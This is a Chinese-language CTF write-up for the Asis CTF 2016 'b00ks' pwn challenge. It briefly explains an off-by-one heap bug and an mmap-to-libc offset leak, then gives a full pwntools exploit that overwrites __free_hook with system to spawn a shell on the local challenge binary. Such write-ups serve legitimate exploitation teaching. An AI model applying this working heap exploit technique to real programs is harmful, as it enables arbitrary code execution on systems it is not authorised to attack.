[Asis CTF 2016] b00ks
这道题主要是用到了Off-By-One漏洞,还有利用mmap成立的堆与libc基址间距相等的原理
注意点:
- 使用的libc最好是2.23版本,因为在libc2.34以后(还是2.35?),__free_hook函数就已经停止利用了,可以利用patchelf来指定可执行文件的libc版本
patchelf --set-interpreter /lib64/ld-2.24.so --set-rpath /home/kali/Desktop/2.24-3ubuntu2.2_amd64 ./b00ks
- mmap申请的时候尽量往大了申请,我申请的大小是0x21000,结果却并不是mmap开辟空间,而是被存储在了
anon_7fd0412c8
字段,代表了一个匿名内存映射区域,以下分别是在申请0x21000和0x210000大小时的vmmap情况,当0x210000时才会时mmap申请
本题的exp如下:
from pwn import *
import warnings
warnings.filterwarnings("ignore")
libc = ELF("./libc-2.24.so")
def create_book(book_size,book_name,des_size,des):
sh.recvuntil(">")
sh.sendline("1")
sh.sendlineafter("name size: ",str(book_size))
sh.sendlineafter(" chars): ",str(book_name))
sh.sendlineafter("description size: ",str(des_size))
sh.sendlineafter("description: ",str(des))
def createname(name):
sh.sendlineafter("name: ",name)
def change_name(name):
sh.recvuntil("> ")
sh.sendline("5")
sh.sendlineafter("name: ",payload)
def show(id):
sh.recvuntil(">")
sh.sendline("4")
sh.readline()
for i in range(id):
sh.recvuntil(": ")
book_name = sh.readline()[:-1]
sh.recvuntil(": ")
book_des = sh.readline()[:-1]
sh.recvuntil(": ")
book_author = sh.readline()[:-1]
return book_name,book_des,book_author
def edit_book(des,id):
sh.recvuntil("> ")
sh.sendline("3")
sh.recvuntil("edit: ")
sh.sendline(str(id))
sh.sendlineafter("description: ",(des))
def deletebook(book_id):
sh.readuntil("> ")
sh.sendline("2")
sh.readuntil(": ")
sh.sendline(str(book_id))
sh = process("./b00ks")
payload = "c"*0x20
createname(payload)
create_book(0xa0,'aaaaa',0x50,'bbbbb')
create_book(0x210000,'/bin/sh',0x210000,'/bin/sh')
book_name,book_des,book_author = show(1)
book_1_addr = (u64(book_author[32:32+6].ljust(8,b"\x00")))
book_2_addr = (u64(book_author[32:32+6].ljust(8,b"\x00")) + 0x30)
print ("struct_book_1_addr is :" + hex(book_1_addr))
print ("struct_book_2_addr is :" + hex(book_2_addr))
payload1 = b"a"*0x30 +p64(1) + p64(book_2_addr+0x8)+p64(book_2_addr+0x10)+p64(0xffff)
edit_book(payload1,1)
change_name(payload)
book_name,book_des,book_author = show(1)
book_2_name_addr = u64(book_name.ljust(8,b"\x00"))
book_2_des_addr = u64(book_des.ljust(8,b"\x00"))
print ("book_2_name_addr is :" + hex(book_2_name_addr))
print ("book_2_des_addr is :" + hex(book_2_des_addr))
libc_base = book_2_name_addr + 0x210FF0
system_addr = libc.sym["system"] + libc_base
free_hook = libc.sym['__free_hook']+ libc_base
print ("libc_base is :" + hex(libc_base))
print ("system_addr is :" + hex(system_addr))
print ("free_hook is :" + hex(free_hook))
one_gadget = libc_base+ 0xf0897
edit_book(p64(free_hook),1)
edit_book(p64(system_addr),2)
deletebook(2)
sh.interactive()